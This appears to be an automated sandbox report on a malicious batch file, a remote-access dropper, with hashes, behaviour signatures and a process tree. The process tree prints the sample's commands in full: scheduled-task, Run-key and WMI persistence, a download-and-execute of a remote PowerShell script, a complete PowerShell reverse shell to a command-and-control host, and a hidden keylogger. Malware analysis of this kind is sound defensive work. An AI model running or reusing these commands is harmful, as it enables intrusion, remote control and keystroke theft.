Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 22:13
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_45598_014209.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_45598_014209.bat
Resource
win11-20260513-en
General
- Target rat_build_45598_014209.bat
- Size 4KB
- Sample260529-15kbvahv21
- SHA256 7d5bf4dc0133585fcae400e267de45a1138a8986ba664398029a6a751c5c69f2
- MD5 e76aecc403649e422e3f12077c42e722
- SHA1 7412853627fffbd9d713700cc1d1f06706ee8a5d
- SHA512 b1c47e3eced5f1bd84d4d2372f45207e18d13f95a5cd052db0f6bb9bcb90d729959fd26dab6f1e1400e775a1793ed00bf7465ec60a59d60f1f704ebc0b77676c
- SSDEEP 96:NIvsWffXZNsaBp00McKKiNVHizkeAVWURo92AV9NtuygTBX6KiFgZk8mvlo1cOi:NaffXZTCB/VnjVW/DNtuyyoKiFgkHlfr
- TLSH T1FCB1EA1797976120E5F02A60DB333998436CE5FB1310CA8EBA4CCEC55A4C687D12EAF7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_45598.ps1
Signatures
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pid Process 3460 powershell.exe 3492 powershell.exe 3912 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_45598 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_45598.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3936 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 364 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 2480 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2068 schtasks.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3492 powershell.exe 3492 powershell.exe 3492 powershell.exe 3460 powershell.exe 3460 powershell.exe 3460 powershell.exe 3912 powershell.exe 3912 powershell.exe 3912 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4520 WMIC.exe Token: SeSecurityPrivilege 4520 WMIC.exe Token: SeTakeOwnershipPrivilege 4520 WMIC.exe Token: SeLoadDriverPrivilege 4520 WMIC.exe Token: SeSystemProfilePrivilege 4520 WMIC.exe Token: SeSystemtimePrivilege 4520 WMIC.exe Token: SeProfSingleProcessPrivilege 4520 WMIC.exe Token: SeIncBasePriorityPrivilege 4520 WMIC.exe Token: SeCreatePagefilePrivilege 4520 WMIC.exe Token: SeBackupPrivilege 4520 WMIC.exe Token: SeRestorePrivilege 4520 WMIC.exe Token: SeShutdownPrivilege 4520 WMIC.exe Token: SeDebugPrivilege 4520 WMIC.exe Token: SeSystemEnvironmentPrivilege 4520 WMIC.exe Token: SeRemoteShutdownPrivilege 4520 WMIC.exe Token: SeUndockPrivilege 4520 WMIC.exe Token: SeManageVolumePrivilege 4520 WMIC.exe Token: 33 4520 WMIC.exe Token: 34 4520 WMIC.exe Token: 35 4520 WMIC.exe Token: 36 4520 WMIC.exe Token: SeIncreaseQuotaPrivilege 4520 WMIC.exe Token: SeSecurityPrivilege 4520 WMIC.exe Token: SeTakeOwnershipPrivilege 4520 WMIC.exe Token: SeLoadDriverPrivilege 4520 WMIC.exe Token: SeSystemProfilePrivilege 4520 WMIC.exe Token: SeSystemtimePrivilege 4520 WMIC.exe Token: SeProfSingleProcessPrivilege 4520 WMIC.exe Token: SeIncBasePriorityPrivilege 4520 WMIC.exe Token: SeCreatePagefilePrivilege 4520 WMIC.exe Token: SeBackupPrivilege 4520 WMIC.exe Token: SeRestorePrivilege 4520 WMIC.exe Token: SeShutdownPrivilege 4520 WMIC.exe Token: SeDebugPrivilege 4520 WMIC.exe Token: SeSystemEnvironmentPrivilege 4520 WMIC.exe Token: SeRemoteShutdownPrivilege 4520 WMIC.exe Token: SeUndockPrivilege 4520 WMIC.exe Token: SeManageVolumePrivilege 4520 WMIC.exe Token: 33 4520 WMIC.exe Token: 34 4520 WMIC.exe Token: 35 4520 WMIC.exe Token: 36 4520 WMIC.exe Token: SeIncreaseQuotaPrivilege 2484 WMIC.exe Token: SeSecurityPrivilege 2484 WMIC.exe Token: SeTakeOwnershipPrivilege 2484 WMIC.exe Token: SeLoadDriverPrivilege 2484 WMIC.exe Token: SeSystemProfilePrivilege 2484 WMIC.exe Token: SeSystemtimePrivilege 2484 WMIC.exe Token: SeProfSingleProcessPrivilege 2484 WMIC.exe Token: SeIncBasePriorityPrivilege 2484 WMIC.exe Token: SeCreatePagefilePrivilege 2484 WMIC.exe Token: SeBackupPrivilege 2484 WMIC.exe Token: SeRestorePrivilege 2484 WMIC.exe Token: SeShutdownPrivilege 2484 WMIC.exe Token: SeDebugPrivilege 2484 WMIC.exe Token: SeSystemEnvironmentPrivilege 2484 WMIC.exe Token: SeRemoteShutdownPrivilege 2484 WMIC.exe Token: SeUndockPrivilege 2484 WMIC.exe Token: SeManageVolumePrivilege 2484 WMIC.exe Token: 33 2484 WMIC.exe Token: 34 2484 WMIC.exe Token: 35 2484 WMIC.exe Token: 36 2484 WMIC.exe Token: SeIncreaseQuotaPrivilege 2484 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3664 wrote to memory of 2068 3664 cmd.exe 90 PID 3664 wrote to memory of 2480 3664 cmd.exe 91 PID 3664 wrote to memory of 4520 3664 cmd.exe 92 PID 3664 wrote to memory of 2484 3664 cmd.exe 93 PID 3664 wrote to memory of 4560 3664 cmd.exe 94 PID 3664 wrote to memory of 364 3664 cmd.exe 107 PID 3664 wrote to memory of 3936 3664 cmd.exe 110 PID 3664 wrote to memory of 3492 3664 cmd.exe 111 PID 3664 wrote to memory of 3460 3664 cmd.exe 112 PID 3664 wrote to memory of 3912 3664 cmd.exe 113 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_45598_014209.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_45598" /tr "C:\Users\Admin\AppData\Local\Temp\_45598.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2068
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_45598" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_45598.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:2480
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_45598", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4520
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_45598", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_45598.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2484
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_45598.txt2⤵PID:4560
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:364
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-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_45598.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3492
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3912
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 85a650f72d8f67b8ae1a49bc52c22abb9e60594568295cacaa95abcf93c4d95a
- MD5 02e6f965baf12c8af417f5662fccb7e9
- SHA1 e74209942a40376c65513f12d387b8acdb79013a
- SHA512 bb4192c8fcc0a88ed63ea3230e58572a5d6a44a700a2bad1dbd2407f44a85203b31a44f1fae01d69927b0a12fd1ec292faf46fe0500e2f39319f12f326bda959
- TLSH T1E0117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
- MD5 3d60e7c9ef409fbfd9e405db511fefc5
- SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
- SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
- TLSH T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sdsdkm24.pv5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH